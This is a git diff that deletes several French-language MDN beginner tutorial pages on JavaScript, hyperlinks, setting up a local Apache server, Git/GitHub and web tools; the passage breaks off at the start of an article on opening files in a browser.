- - diff --git a/files/fr/apprendre/javascript/index.html b/files/fr/apprendre/javascript/index.html deleted file mode 100644 index a10f2deb2d..0000000000 --- a/files/fr/apprendre/javascript/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: JavaScript -slug: Apprendre/JavaScript -tags: - - Débutant - - Développement - - JavaScript - - Modules - - scripts -translation_of: Learn/JavaScript ---- -

{{LearnSidebar}}

- -

{{Glossary('JavaScript')}} est un langage de programmation qui vous permet de mettre en œuvre des éléments complexes sur des pages Web (une page Web contenant plus que de simples informations statiques). Chaque fois qu'une page affiche des mises à jour de contenu en temps réel, des cartes interactives, des animations graphiques 2D / 3D ou un juke-box vidéo défilant, etc. — vous pouvez parier que JavaScript est probablement impliqué.

- -

Parcours d'apprentissage

- -

JavaScript est sans doute plus difficile à apprendre que les technologies connexes telles que HTML et CSS. Avant d'essayer d'apprendre le JavaScript, il est fortement conseillé de se familiariser d'abord avec au moins ces deux technologies, et peut-être aussi avec d'autres. Commencez par travailler sur les modules suivants :

- - - -

Avoir une expérience antérieure avec d'autres langages de programmation peut également aider.

- -

Après vous être familiarisé avec les bases de JavaScript, vous devriez être en mesure d'en apprendre davantage sur des sujets plus avancés, par exemple :

- - - -

Modules

- -

Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les aborder :

- -
-
Premiers pas en JavaScript
-
Dans notre premier module JavaScript, nous répondons d'abord à des questions fondamentales telles que «qu'est-ce que le JavaScript ?», «à quoi cela ressemble-t-il ?» et «que peut-il faire ?», avant de passer à votre première expérience pratique d'écriture de JavaScript. Après cela, nous discutons en détail de certaines fonctionnalités clés de JavaScript, telles que les variables, les chaînes, les nombres et les tableaux.
-
JavaScript les blocs
-
Dans ce module, nous continuons de couvrir toutes les fonctions clés fondamentales de JavaScript, en nous concentrant sur les types de blocs de code les plus courants, tels que les instructions conditionnelles, les boucles, les fonctions et les événements. Vous avez déjà vu ce genre de choses dans le cours, mais seulement en passant, nous en discuterons explicitement ici.
-
Introduction aux objets JavaScript
-
En JavaScript, la plupart des éléments sont des objets, depuis les principales fonctionnalités de JavaScript comme les chaînes et les tableaux jusqu'aux API du navigateur construites sur JavaScript. Vous pouvez même créer vos propres objets pour encapsuler des fonctions et des variables associées dans des paquets efficaces. La nature orientée objet de JavaScript est importante à comprendre, si vous voulez aller plus loin dans la connaissance du langage et rédiger un code plus efficace. C'est pourquoi nous avons conçu ce module pour vous aider. Ici, nous enseignons la théorie et la syntaxe des objets en détail, regardons comment créer vos propres objets et expliquons quelles sont les données JSON et comment les utiliser.
-
API Web côté client
-
Lors de l'écriture de JavaScript côté client, pour des sites Web ou des applications, vous n'irez pas très loin avant de commencer à utiliser des interfaces API, pour manipuler différents aspects du navigateur et du système d'exploitation sur lequel le site fonctionne, ou même des données d'autres sites Web ou des services. Dans ce module, nous explorerons quelles sont les API et comment utiliser certaines des API les plus courantes que vous rencontrerez souvent dans votre travail de développement.
-
- -

Résoudre les problèmes JavaScript courants

- -

Utiliser JavaScript pour résoudre des problèmes courants fournit des liens vers des sections expliquant comment utiliser JavaScript pour résoudre des problèmes très courants lors de la création d'une page Web.

- -

Voir aussi

- -
-
JavaScript sur MDN
-
Principal point d'entrée de la documentation JavaScript de base sur MDN, vous y trouverez de nombreux documents de référence sur tous les aspects du langage JavaScript, ainsi que des tutoriels avancés destinés aux programmeurs en JavaScript expérimentés.
-
Codage des mathématiques
-
Une excellente série de tutoriels vidéo (anglophones) sur les mathématiques que vous devez comprendre pour être un programmeur efficace, par Keith Peters.
-
diff --git a/files/fr/apprendre/le_fonctionnement_des_liens_sur_le_web/index.html b/files/fr/apprendre/le_fonctionnement_des_liens_sur_le_web/index.html deleted file mode 100644 index 35ac0d8bb4..0000000000 --- a/files/fr/apprendre/le_fonctionnement_des_liens_sur_le_web/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Le fonctionnement des liens sur le Web -slug: Apprendre/Le_fonctionnement_des_liens_sur_le_Web -tags: - - Beginner - - Infrastructure - - Navigation - - NeedsActiveLearning -translation_of: Learn/Common_questions/What_are_hyperlinks ---- -
-

Dans cet article, nous verrons ce que sont les liens et en quoi ils sont importants pour la structure du Web.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez, au préalable, comprendre comment Internet fonctionne et distinguer une page web, un site web, un serveur web et un moteur de recherche.
Objectifs :Apprendre ce que sont les liens hypertexte et comprendre leur importance.
- -

Les hyperliens (fréquemment appelés « liens ») sont un concept fondamental du Web. Pour mieux expliquer ce que sont les liens, il nous faut remonter aux fondations de l'architecture du Web, en 1989, lorsque Tim Berners-Lee présenta les trois piliers du Web (qu'il a inventé en grande partie) :

- -
    -
  1. Les {{Glossary("URL")}} : un système d'adresses pour repérer les documents web
    2. -
  2. {{Glossary("HTTP")}} : un protocole de transport permettant de trouver les documents en fonction de leur URL
    3. -
  3. {{Glossary("HTML")}} : un format de document qui permet d'intégrer des hyperliens (hyperlink est le terme anglais)
    4. -
- -

Comme on peut le voir avec ces trois piliers, tout ce qui tourne autour du Web consiste en des documents et à la façon d'y accéder. Le but originel du Web était de fournir un moyen simple et efficace pour lire et naviguer entre différents documents textuels. Depuis, le Web a évolué et permet désormais d'accéder à des images, des vidéos, des données binaires. Toutefois, ces améliorations n'ont pas bouleversé ces trois piliers qui restent toujours d'actualité.

- -

Avant l'existence du Web, il était assez difficile d'accéder à des documents et de naviguer entre eux. Le fait que les URL soient lisibles et compréhensibles aida à simplifier cette navigation. Malgré tout, saisir une URL longue relève parfois du défi si on doit le faire à chaque fois qu'on souhaite accéder à un document. C'est là que les hyperliens interviennent et révolutionnent l'accès et la navigation. Les liens permettent de faire correspondre n'importe quelle chaîne de caractère avec une URL donnée : l'utilisateur n'a plus qu'à cliquer sur le texte qui contient le lien pour activer ce dernier et se rendre sur le document ciblé.

- -

Par défaut, les liens apparaissent en bleu et en souligné. Cela permet de faire ressortir le lien du texte environnant. Pour activer le lien, il suffit de cliquer dessus ou de le toucher. Si vous utilisez un clavier, utilisez la touche tabulation jusqu'à ce que le lien soit sélectionné puis appuyez sur la touche Entrée.

- -

Example of a basic display and effect of a link in a web page

- -

Les liens sont la clef de voute du Web, ils ont pu le rendre utile et prospère. Dans la suite de cet article, nous discutons des différents types de lien et de leur importance en conception web.

- -

Pédagogie active

- -

Cette section a besoin d'être enrichie, n'hésitez pas à contribuer !

- -

Aller plus loin

- -

Comme nous l'avons déjà mentionné, un lien est une chaîne de texte liée à une URL et nous utilisons les liens pour passer d'un document à un autre. Cela dit, il existe quelques nuances qu'il faut préciser :

- -

Les types de lien

- -
-
Les liens internes
-
Les liens internes sont des liens qui dirigent vers des pages qui appartiennent à votre site web. Sans lien interne, il n'existerait pas de site web autre que les sites qui tiennent sur une page.
-
Les liens sortants
-
Il s'agit des liens de votre page web qui pointent vers la page d'un autre site web. Sans lien externe, il n'existerait pas de Web car le Web est un réseau de pages web. Les liens externes peuvent être utilisés pour fournir des informations sur des contenus que vous ne maintenez pas vous-même.
-
Les liens entrants
-
Il s'agit des liens d'une autre page web qui pointent vers une de vos pages web. C'est le symétrique du lien externe. On notera qu'il n'est pas nécessaire d'ajouter un lien externe à chaque fois qu'on a un lien entrant vers son propre site.
-
- -

Lorsqu'on construit un site web, il est nécessaire de se concentrer sur les liens internes car ceux-ci rendent le site utilisable dans son ensemble. Il faudra trouver un équilibre entre trop de liens et pas assez. Nous en parlerons plus en détails mais, en règle générale, quand vous ajoutez une nouvelle page, assurez-vous qu'au moins une autre page pointe, via un lien, vers cette nouvelle page. En revanche, si votre site possède plus d'une dizaine de pages, il serait contre-productif que d'avoir des liens sur chaque page vers chaque page.

- -

Au démarrage, il n'est pas nécessaire de se soucier des liens sortants et entrants. Toutefois, sachez qu'ils sont importants pour les moteurs de recherche afin que ceux-ci puissent trouver votre site web (voir ci-après pour plus d'informations).

- -

Les ancres

- -

La plupart des liens lient deux pages différentes. Les ancres permettent d'accéder à une autre section du même document. Lorsque vous suivez un lien qui pointe vers une ancre, votre navigateur se déplace sur une autre partie du document courant plutôt que d'en charger un nouveau. Les ancres seront créées et utilisées de la même façon que les liens.

- -

Example of a basic display and effect of an anchor in a web page

- -

Les liens et les moteurs de recherche

- -

Les liens sont utiles pour vos visiteurs mais aussi pour les moteurs de recherche. En effet, à chaque fois qu'un robot d'un moteur de recherche parcoure la page, il indexe le site web en suivant les liens offerts dans la page. Les moteurs de recherche utiliseront ces liens pour découvrir les différentes pages d'un site web mais aussi pour déterminer quelle page serait la mieux adaptée en fonction de la requête reçu par le moteur de recherche.

- -

Les liens ont donc une influence sur la façon dont les moteurs de recherche vont rediriger vers votre site. Il est plutôt difficile de mesurer l'activité des moteurs de recherche et les entreprises et/ou créateurs de sites préfèrent être classés dans les premières pages. Depuis les débuts des moteurs de recherches et quelques études, on sait que :

- - - -

Le SEO (pour Search Engine Optimization ou optimisation pour les moteurs de recherches) ou encore l'optimisation du référencement est l'étude des facteurs de classement d'un site dans les résultats d'un moteur de recherche. Améliorer les liens d'un site est l'une des technique de SEO.

- -

Prochaines étapes

- -

Bien entendu, après avoir lu cet article, vous voudrez ajouter des liens à votre page web !

- - diff --git a/files/fr/apprendre/mettre_en_place_un_environnement_de_travail/index.html b/files/fr/apprendre/mettre_en_place_un_environnement_de_travail/index.html deleted file mode 100644 index d688fcce92..0000000000 --- a/files/fr/apprendre/mettre_en_place_un_environnement_de_travail/index.html +++ /dev/null @@ -1,244 +0,0 @@ ---- -title: Mettre en place un environnement de travail -slug: Apprendre/Mettre_en_place_un_environnement_de_travail -tags: - - Beginner - - CodingScripting - - Guide - - Learn -translation_of: Learn/Common_questions/set_up_a_local_testing_server -translation_of_original: Learn/Common_questions/Set_up_a_basic_working_environment ---- -
-

Cet article indique comment mettre en place un environnement de travail et de test afin d'organiser vos pages web.

-
- - - - - - - - - - - - -
Prérequis :Vous devez au préalable savoir ce qu'est un serveur web, comment installer les outils de base et comment fonctionnent les noms de domaine.
Objectifs :Savoir comment installer un serveur local et mettre en place une hiérarchie de fichiers pour développer un site web.
- -

En développement web, mieux vaut tester son site localement avant de le publier aux yeux du monde entier. Pour effectuer des tests sur votre ordinateur, vous pouvez installer un serveur local. Dans cet article nous verrons comment faire et comment organiser une hiérarchie de fichiers afin que ceux-ci soit organisés, même si le projet devient plus volumineux.

- -

Pédagogie active

- -

Il n'existe pas encore de matériau interactif pour cet article. N'hésitez pas à contribuer.

- -

Aller plus loin

- -

Installer et paramétrer un éditeur de texte

- -

Ce point était l'objet d'un article précédent. Si ce n'est pas déjà fait, voici quelques indications sur comment procéder.

- -

Installer un serveur web local

- -
-

Note : Il existe différents logiciels de serveurs web qui sont disponibles (Apache, Tomcat, IIS, nginx). Apache est libre et gratuit, disponible sur plusieurs plateformes et est simple à installer. Nous illustrerons donc les exemples de cet article avec Apache.

-
- -

Comprendre le fonctionnement de localhost

- -

Dans le monde du {{Glossary("DNS")}}, il existe une adresse spéciale connue par chaque ordinateur : localhost. Celle-ci fait référence au serveur situé sur l'ordinateur en question. Ainsi, il est possible d'accéder à un site situé sur localhost avec votre navigateur, même sans connexion à Internet.

- -
-

Note : Pour être plus précis, localhost pointe vers une {{Glossary("adresse IP")}} dirigeant vers votre propre machine : 127.0.0.1 ({{Glossary("IPv4")}}) ou ::1 ({{Glossary("IPv6")}}).

-
- -

Essayez d'accéder à votre hôte local : http://localhost. Si vous obtenez un résultat semblable à l'image ci-après : félicitations ! Cela signifie que vous disposez déjà d'un serveur web installé sur votre ordinateur (par exemple Mac OS X inclut Apache préinstallé).

- -

Basic index from the Apache HTTP server

- -

Si vous n'obtenez pas ce résultat, il faut installer Apache.

- -

Dans les deux cas, il faudra configurer Apache afin que celui-ci pointe vers votre répertoire de travail. Nous verrons comment faire dans la suite de cet article. Selon le système d'exploitation les opérations à effectuer varient légèrement. Nous commencerons par expliquer le mode opératoire à suivre pour Windows. Si vous n'utilisez pas Windows, vous pouvez directement aller aux sections pour Ubuntu/Linux ou pour Mac OS X.

- -

Installer et lancer son serveur local sur Windows

- -
Installer Apache
- -

Sous Windows, installer Apache est légèrement compliqué. Cette page explique comment installer un binaire Apache étape par étape.

- -

Après l'installation, allez à l'URL http://localhost/ avec votre ordinateur afin de vérifier que votre serveur fonctionne. Sinon, n'hésitez pas à utiliser un moteur de recherche ou un forum d'aide. Si vous vous posez une question, il y a de grande chance que celle-ci ait déjà été posée et qu'une réponse y ait été apportée.

- -
Déplacer la racine de l'hôte local vers votre répertoire de travail
- -

Sous le capôt, votre serveur web utilise {{Glossary("HTTP")}} pour afficher les fichiers situés sur votre ordinateur. Dans notre exemple, Apache affiche un fichier appelé index.html qui est situé dans un sous-répertoire des dossiers Apache. Cela serait plus utile si on pourrait utiliser un répertoire au choix.

- -

Tout d'abord, créons un dossier puis faisons pointer le serveur web vers ce répertoire :

- -
    -
  1. Créez un dossier appelé htdocs dans votre répertoire utilisateur : C:\Users\NomUtilisateur\htdocs, où NomUtilisateur correspond à votre nom d'utilisateur. Si vous utilisez une version de Winows plus récente, ce dossier pourra être situé à l'emplacement suivant C:\Documents and Settings\NomUtilisateur\htdocs.
    2. -
  2. Modifiez le fichier de configuration Apache situé à  l'emplacement suivant : C:\Program Files\Apache Software Foundation\conf\httpd.conf. Si nécessaire, fournissez les informations d'authentification pour l'administrateur.
    3. -
  3. Dans ce fichier, allez jusqu'à la ligne qui contient le texte suivant : DocumentRoot "C:\Users\Apache Software Foundation\htdocs". Éditez cette ligne afin qu'elle pointe vers votre répertoire htdocs : DocumentRoot "C:\Documents and Settings\NomUtilisateur\htdocs"
    4. -
  4. Dans le même fichier, repérez l'instruction <Directory> : <Directory "C:\Users\Apache Software Foundation\htdocs">. Là aussi, modifiez le répertoire pour qu'il pointe vers le dossier de travail :  <Directory "C:\Documents and Settings\NomUtilisateur\htdocs">
    5. -
  5. Sauvegardez le fichier.
    6. -
  6. Redémarrez Apache : Démarrer ➤ Apache ➤ Redémarrer Apache.
    7. -
  7. Rechargez la page localhost dans votre navigateur. Si tout s'est passé comme prévu, vous devriez voir l'index du répertoire. Par défaut, l'index correspond à la liste des fichiers du répertoire. Nous verrons par la suite comment personnaliser cette page d'index. Vous pouvez passer les instructions pour Ubuntu et Mac.
    8. -
- -

Installer et lancer son serveur local sur Ubuntu (ou plus généralement sur Linux)

- -
Installer Apache
- -

Sous Ubuntu, lancez un terminal (vous pouvez utiliser le raccourci Ctrl + Alt + T) puis lancez ces commandes (saisissez votre mot de passe si besoin) :

- -
sudo apt-get update
-sudo apt-get install apache2
- -
-

Note : Si vous n'utilisez pas Ubuntu ou une distribution basée sur Debian, suivez ces sept étapes pour compiler et installer Apache. Vous aurez peut-être à saisir votre mot de passe. Vous pouvez utiliser un éditeur graphique plutôt que vi pour éditer les fichiers de configuration.

-
- -

Après l'installation, accédez à http://localhost/ avec votre navigateur afin de vérifier que le serveur fonctionne. Sinon, n'hésitez pas à utiliser un moteur de recherche ou un forum d'aide. Si vous vous posez une question, il y a de grande chance que celle-ci ait déjà été posée et qu'une réponse y ait été apportée.

- -
Déplacer la racine de l'hôte local vers votre répertoire de travail
- -

Sous le capôt, votre serveur web utilise {{Glossary("HTTP")}} pour afficher les fichiers situés sur votre ordinateur. Dans notre exemple, Apache affiche un fichier appelé index.html qui est situé dans un sous-répertoire des dossiers Apache. Cela serait plus utile si on pourrait utiliser un répertoire au choix.

- -

Tout d'abord, créons un dossier puis faisons pointer le serveur web vers ce répertoire :

- - - -
        <Directory />
-                Options FollowSymLinks
-                AllowOverride None
-                Require all denied
-        </Directory>
-        <Directory /home/USERNAME/htdocs/>
-                Options Indexes FollowSymLinks MultiViews
-                AllowOverride None
-                Require all granted
-        </Directory>
- - - -

- -

Installer et lancer son serveur local sur Mac OS X

- -

Apache est préinstallé avec Mac OS X. Mais il est toujours nécessaire de déplacer la racine localhost vers le répertoire de travail.

- -

Sous le capôt, votre serveur web utilise {{Glossary("HTTP")}} pour afficher les fichiers situés sur votre ordinateur. Dans notre exemple, Apache affiche un fichier appelé index.html qui est situé dans un sous-répertoire des dossiers Apache. Cela serait plus utile si on pourrait utiliser un répertoire au choix.

- -

Tout d'abord, créons un dossier puis faisons pointer le serveur web vers ce répertoire :

- -
    -
  1. Créez un dossier appelé htdocs dans votre répertoire utilisateur : /Users/NomUtilisateur/htdocs, où NomUtilisateur correspond à votre nom d'utilisateur.
    2. -
  2. Ouvrez le fichier de configuration Apache situé à cet emplacement : /etc/apache2/httpd.conf.
    3. -
  3. Dans ce fichier, trouvez la ligne DocumentRoot "/Library/WebServer/Documents". puis modifiez la afin qu'elle pointe vers votre répertoire htdocs : DocumentRoot "/Users/NomUtilisateur/htdocs"
    4. -
  4. Dans ce même fichier, trouvez l'instruction <Directory> : <Directory "/Library/WebServer/Documents"> et modifiez cette ligne avec : <Directory "/Users/NomUtilisateur/htdocs">
    5. -
  5. Sauvegardez le fichier.
    6. -
  6. Redémarrez Apache avec la commande suivante sudo apachectl restart. Si nécessaire, saisissez votre mot de passe.
    7. -
  7. Rechargez la page localhost dans votre navigteur. Si tout s'est déroulé comme prévu, vous devriez pouvoir voir l'index du répertoire (cf. la capture d'écran ci-après).
    8. -
- -

Example of Apache serving a folder autoindexing

- -

Ajouter une page d'index

- -

Lorsque vous visitez un site web, vous vous attendez à y trouver plus qu'une simple liste de fichiers. Il est possible d'ajouter une page d'index personnalisée pour votre site web local. Ce fichier d'index est un fichier {{Glossary("HTML")}}, il doit être intitulé index.html et il doit être placé dans le répertoire htdocs.

- -

Pour cela, ouvrez votre éditeur de texte puis copiez le code HTML qui suit dans un nouveau fichier :

- -
<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="utf-8">
-  <title>Voici une page d'index</title>
-</head>
-
-<body>
-  <p>Ma propre page d'index</p>
-</body>
-</html>
- -

Enregistrez ce fichier dans votre répertoire htdocs avec le nom index.html :

- -

Example of a custom index.html file

- -

Vous pouvez ouvrir la page http://localhost dans votre navigateur, vous aurez alors :

- -

A custom index without any style

- -

Organiser ses fichiers

- -

La structure et l'organisation des fichiers est critique pour n'importe quel site web. Il est très rare qu'un site web se compose uniquement de fichiers HTML. Vous aurez vraisemblablement à intégrer des images, à mettre en forme des pages avec des fichiers {{Glossary("CSS")}} ou d'ajouter des fonctionnalités avec des fichiers {{Glossary("JavaScript")}}. Dès le début, il est nécessaire d'organiser clairement ces fichiers pour ne pas s'y perdre par la suite.

- -

Bien entendu, vous pouvez suivre votre propre organisation mais la plus communément utilisée contient trois répertoires : images pour les images, styles pour les fichiers CSS et scripts pour les scripts. Simple et efficace.

- -

Fichiers d'exemples

- -

Dans les prochains articles, nous verrons comment créer une page web, comment utiliser CSS puis comment utiliser JavaScript. Nul besoin de connaître ces langages pour placer quelques fichiers d'exemples qu'on modifiera par la suite. Cela vous permettra de mieux percevoir la structure qu'on souhaite mettre en place.

- -

Créons un nouveau fichier qui correspondra à votre feuille de style principale (là où vous écrirez toutes les règles CSS). Pour le moment, copiez-collez ce fragment de code dans un nouveau fichier dans votre éditeur de texte :

- -
body {
-  font-family: sans-serif;
-}
- -

Puis enregistrez le fichier dans le répertoire styles sous le nom basic.css :

- -

Example of a custom basic.css file

- -

Ensuite, revenez à (ou réouvrez) votre page d'index pour y insérer une référence à la feuille de styles. Pour cela, on utilisera la balise {{HTMLElement("link")}} (qu'on reverra dans les prochains articles) :

- -
<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="utf-8">
-  <title>Voici une page d'index</title>
-
-  <link rel="stylesheet" href="./styles/basic.css">
-</head>
-
-<body>
-  <p>Ma propre page d'index</p>
-</body>
-</html>
- -

Maintenant, si vous réouvrez votre site local (vous pouvez simplement rafraîchir la page si vous avez laissé votre navigateur ouvert), vous verrez que la police a changé à cause de la feuille de style :

- -

A custom index with style applied

- -

Structure finale pour le projet

- -

Reprenons. Votre structure de répertoires et de fichiers pour votre site devrait désormais ressembler à :

- - - -

Voici la structure minimale que vous devriez avoir et qui pourra s'adapter lorsque votre projet grandira. Au fur et à mesure des développements de votre projet, n'hésitez pas à adapter et à améliorer cette structure afin qu'elle soit optimale pour votre site.

- -

Prochaines étapes

- -

Maintenant que nous avons vu comment organiser les fichiers et que nous avons créé quelques uns, il est temps d'écrire sa premère page web.

diff --git a/files/fr/apprendre/outils_et_tests/github/index.html b/files/fr/apprendre/outils_et_tests/github/index.html deleted file mode 100644 index ce3590b73f..0000000000 --- a/files/fr/apprendre/outils_et_tests/github/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Git and GitHub -slug: Apprendre/Outils_et_tests/GitHub -tags: - - Apprendre - - Beginner - - Débutant - - GitHub - - Learn - - Web - - git -translation_of: Learn/Tools_and_testing/GitHub ---- -
{{LearnSidebar}}
- -

Tous les développeurs utiliseront une sorte de système de contrôle des versions (version control system ou VCS en anglais), un outil leur permettant de collaborer avec d'autres développeurs sur un projet sans prendre le risque que l'un d'eux écrase le travail d'un autre, et de revenir à une version précédente de la base de code si un problème est découvert plus tard. Le plus populaires de ces outils (au mois parmi les développeurs) est Git, ainsi que GitHub, un site vous proposant d'héberger vos dépôts de code et plusieurs outils pour travailler avec eux. Ce module vise à vous enseigner ce que vous devez savoir à propos de ces deux outils.

- -

Vue d'ensemble

- -

Les systèmes de contrôles des versions sont nécessaires pour le développement de logiciel :

- - - -

Les systèmes de contrôle des versions fournissent des outils pour répondre à ces besoins. Git est un exrmple d'un tel système, et GitHub est un site web avec une infrastructure qui propose un serveur Git et d'autres outils très pratiques pour travailler avec des dépôts Git individuellement ou en équipe, tel que le rapportage de problèmes liés au code, la relecture et validation de code, la gestion de projet par différentes fonctions comme l'assignation de tâches et les statistiques sur l'utilisation de tâches, et plus encore.

- -
-

Note: Git est actuellement un système de contrôle des versions distribué, signifiant qu'une copie complète du dépôt contenant la base de code est fait sur votre ordinateur (et celui de tous les autres participants). Vous modifiez votre propre copie et puis vous les envoyez vers le serveur, où un administrateur pourra décider de les fusionner avec la copie commune ou non.

-
- -
-

Vous cherchez à devenir un développeur web front-end ?

- -

Nous avons mis ensemble un cours incluant toutes les informations nécessaires dont vous avez besoin pour atteindre votre objectif.

- -

Commencer

-
- -

Prérequis

- -

Pour utiliser Git et GitHub, vous avez besoin :

- - - -

En matière de connaissances prérequises, vous n'avez besoin de rien concernant le développement web, Git/GitHub ou les système de contrôle des versions pour commencer ce module. Toutefois, il vous est recommandé de connaitre les bases de la programmation afin que vous ayiez des connaissances informatiques suffisantes ainsi qu'un code à héberger dans vos dépôts !

- -

Il est aussi préférable que vous ayiez quelques connaissances fondamentales sur le terminal, par exemple du déplacement entre dossiers, de la création de fichiers et de la modification du PATH du système.

- -
-

Note: Github n'est pas le seul site et un ensemble d'outils que vous pouvez utiliser avec Git. Il existe d'autres alternatives telles que GitLab que vous pourriez essayer. Vous pouvez même tenter de configurer votre propre serveur Git et l'utiliser à la place de GitHub. Nous nous en sommes tenus à GitHub dans ce cours pour vous montrer une seule manière de faire.

-
- -

Guides

- -

Notez que les liens ci-après vous amènent à des ressources sur des sites externes. Nous envisageons la possibilité d'avoir notre cours  consacré à Git/GitHub, mais pour l'instant, ceux-ci vous aideront à mieux appréhender le sujet.

- -
-
Hello World (de GitHub)
-
C'est un bon point pour commencer — ce guide pratique vous fera entrer dans l'utilisation de GitHub en vous apprenant les fondements de Git tels que la création de dépôts et de branches, la créations de commits ainsi qu'à l'ouverture et à la fusion de pull requests.
-
Git Handbook (de GitHub)
-
Ce manuel sur Git va plus en profondeur en expliquant ce qu'un système de contrôle des versions est, ce qu'on dépôt est, comment le modèle minimal de GitHub fonctionne, les commandes Git avec divers exemples et plus encore.
-
Forking Projects (de GitHub)
-
Forking projects est nécessaire quand vous souhaitez contribuer au code de quelqu'un d'autre. Ce guide vous explique comment.
-
About Pull Requests (de GitHub)
-
Un guide utile pour apprendre à gérer les pull requests, la manière dont les changements de code suggérés sont envoyés aux dépôts locaux des autres contributeurs pour être pris en considération.
-
Mastering issues (de GitHub)
-
Les issues (problèmes) sont comme un forum pour votre projet GitHub, où chacun peut venir poser des questions et rapporter des problèmes, et vous pouvez gérer les mises à jour (par exemple assigner certaines personnes à la résolution de problèmes, à la clarification de problèmes ou à l'information de la correction de problèmes). Cet article vous donne ce dont vous avez besoin de savoir à propos des issues.
-
- -
-

Note: Il existe beaucoup d'autres choses que vous pouvez faire avec Git et GitHub, mais nous pensons que ce qui précède représente le minimum dont vous aurez besoin pour commencer à utiliser Git efficacement. Au fur et à mesure de votre progression avec Git, vous comprendrez de plus en plus qu'il est facile de faire des erreurs quand on commence à utiliser des commandes plus complexes. Ne vous inquiétez pas, même les développeurs web aguerris pensent que Git est parfois déroutant, et résolvent souvent des problèmes en cherchant des solutions sur internet ou en consultat des sites comme Flight rules for Git et Dangit, git!

-
- -

Voir aussi

- - diff --git a/files/fr/apprendre/outils_et_tests/index.html b/files/fr/apprendre/outils_et_tests/index.html deleted file mode 100644 index 7fbb181871..0000000000 --- a/files/fr/apprendre/outils_et_tests/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Outils et tests -slug: Apprendre/Outils_et_tests -tags: - - Accessibilité - - Apprendre - - Automatisation - - CSS - - Déboguage - - Débutant - - HTML - - JavaScript - - Outils - - tests -translation_of: Learn/Tools_and_testing ---- -
{{LearnSidebar}}
- -

Une fois que vous commencerez à être à l'aise avec les langages de programmation web (comme le HTML, le CSS, et le JavaScript), et acquerrez plus d'expérience, lirez plus de ressources, et apprendrez plus de choses, vous commencerez à tomber sur toute sorte d'outils, comme par exemple des scripts CSS et JavaScript, des outils de tests et d'automatisation, et bien plus encore. Au fur et à mesure que vos projets web deviendront de plus en plus grands et complexes, vous allez vouloir savoir comment utiliser certains de ces outils et élaborer des tests fiables pour votre code. Cette partie de la zone d'apprentissage cherche à vous donner tout ce dont vous avez besoin afin de commencer sur de bonnes bases et faire des choix informés.

- -

L'industrie du web est un endroit excitant où travailler, mais ce n'est pas sans ses complications. Les technologies de base que nous utilisons pour concevoir des sites web sont assez stables maintenant, mais de nouvelles fonctionnalités sont ajoutées continuellement, et de nouveaux outils — qui les rendent faciles d'utilisation, et sont construits sur ces technologies — apparaissent constamment. En plus de cela, il ne faut pas oublier de vérifier que notre code utilise les meilleures pratiques qui permettront à notre projet de fonctionner sur différents navigateurs et appareils, et d'être aussi utilisable par des personnes ayant un handicap.

- -

Savoir précisément quels outils prendre peut parfois être une tâche difficile, c'est pourquoi nous avons écrit cette séries d'articles, afin de vous expliquer quels types d'outils existent, ce qu'ils peuvent faire pour vous et comment se servir des plus utilisés dans l'industrie.

- -
-

Note: parce que de nouveaux outils apparaissent tout le temps et que les anciens se démodent, nous avons écrit ceci afin d'être aussi neutre que possible — nous voulons nous concentrer premièrement et essentiellement sur les tâches générales que ces outils vont vous aider à accomplir, plutôt que de parler des outils qui sont spécifiques à une tâche. Nous devons bien sûr vous montrer comment utiliser un outil avant de vous en apprendre les techniques spécifiques, mais gardez à l'esprit que les outils que nous vous montrons ne sont pas forcément les meilleurs, ni les seuls disponibles — dans la plupart des cas il existe d'autre façons de faire, mais nous voulons vous fournir une méthodologie claire et qui fonctionne.

-
- -

Parcours d'apprentissage

- -

Vous devriez vraiment apprendre les langages de base HTML, CSS, et JavaScript avant d'essayer d'utiliser les outils présentés ici. Par exemple, vous allez avoir besoin de connaître les fondamentaux de ces langages avant de commencer à déboguer des erreurs dans un code source web complexe, ou utiliser efficacement les librairies JavaScript , ou encore écrire des tests et les utiliser sur vos codes, etc.

- -

Vous avez d'abord besoin d'une base solide.

- -

Modules

- -
-
Outils de développement web
-
Dans ce module, nous explorons les différents types d'outils de développement web. Ceci inclut de connaître les tâches les plus courantes que vous serez amenés à résoudre, comment les intégrer au sein d'un workflow, et les meilleurs outils actuellement disponibles afin d'effectuer ces tâches.
-
Test à travers différents navigateurs
-
Ce module est orienté spécifiquement vers les tests de projets web à travers différents navigateurs. Ici on cherche à identifier quel type d'audience vous ciblez (ex. de quels utilisateurs, navigateurs et appareils avez vous le plus besoin de vous soucier?), comment faire des tests, les principaux problèmes auxquels vous devrez faire face avec différents types de codes et comment en venir à bout, quels outils sont les plus adaptés pour vous aider à cerner et résoudre ces problèmes, et comment utiliser l'automatisation afin d'accélérer les tests.
-
diff --git a/files/fr/apprendre/ouvrir_un_fichier_dans_un_navigateur_web/index.html b/files/fr/apprendre/ouvrir_un_fichier_dans_un_navigateur_web/index.html deleted file mode 100644 index 48f1d4cd14..0000000000 --- a/files/fr/apprendre/ouvrir_un_fichier_dans_un_navigateur_web/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Ouvrir un fichier dans un navigateur web -slug: Apprendre/Ouvrir_un_fichier_dans_un_navigateur_web -tags: - - Beginner - - CodingScripting - - NeedsActiveLearning - - WebMechanics -translation_of: Learn/Getting_started_with_the_web/Dealing_with_files -translation_of_original: Learn/Open_a_file_in_a_browser ---- -
-

Dans article, nous verrons comment ouvrir un fichier avec un navigateur web.

-
- - - - - - - - - - - - -
Prérequis :Vous devez au préalable avoir mis en place un environnement de travail.
Objectifs :Apprendre les différentes façons d'ouvrir un fichier, ce qu'est un protocole et comment un protocole peut affecter le résultat obtenu.
- -

Pour ouvrir un fichier dans votre navigateur web, il existe deux méthode :

- -
    -
  1. Le {{Glossary("protocol")}} {{Glossary("HTTP")}} : c'est-à-dire utiliser le navigateur pour accéder au fichier de votre serveur web local.
    2. -
  2. Le protocole file : celui-ci permet d'accéder directement aux fichiers de votre ordinateur via le système de fichiers (pour cela, on passe par le menu Fichier > Ouvrir un fichier…).
    3. -
- -

Dans cet article, nous verrons les différences entre ces deux approches et pourquoi celles-ci sont importantes.

- -

Pédagogie active

- -

